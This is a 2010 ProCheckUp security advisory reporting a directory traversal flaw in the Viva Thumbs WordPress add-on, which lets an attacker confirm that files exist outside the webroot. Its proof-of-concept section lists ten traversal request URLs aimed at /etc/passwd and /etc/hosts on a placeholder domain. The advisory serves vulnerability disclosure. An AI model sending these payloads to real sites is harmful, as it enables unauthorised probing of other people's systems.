New Banner 3

Services

Find out more about ProCheckUp's services including: Penetration Testing, PCI QSA and PCI ASV

PR10-04

PR10-04 - Directory traversal limited to file validation within Viva thumbs WordPress add-on

ProCheckUp Labs

ProCheckUp Labs are dedicated to conducting research and raising the awareness of information security issues. The combination of ProCheckNet's response-driven AI technology and our experienced security consultants has led to the discovery of many security vulnerabilities and advisories during penetration testing assignments.

In 2008 ProCheckUp published more vulnerabilities than any other UK penetration testing company.

Over the years, ProCheckUp have been credited with finding vulnerabilities and advisories in products from vendors such as:  

Microsoft - Aruba Networks - IBM - Novell - BEA Systems - Whale Communications - Netscape - Hummingbird - Apache- F5 Networks - GoAhead - Sun Microsystems

Advisories (Vulnerabilities) & Papers

Vulnerability found:
04 February 2010
Vendor informed:
08 February 2010
Severity level:
Low/Medium
Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description:
Viva Thumbs resizes and display images, as part of a popular WordPress plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a directory traversal attack within the image display functionality, the directory traversal attack is limited to file existence validation.

Note: tested on Viva Thumbs running on the Linux operating system.
Proof of concept:
The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal

http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

Consequences:
The existance of files can be validated on the system, outside the WordPress webroot.
How to fix:
None available
Legal:
Copyright 2010 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.

Back to Vulnerabilities List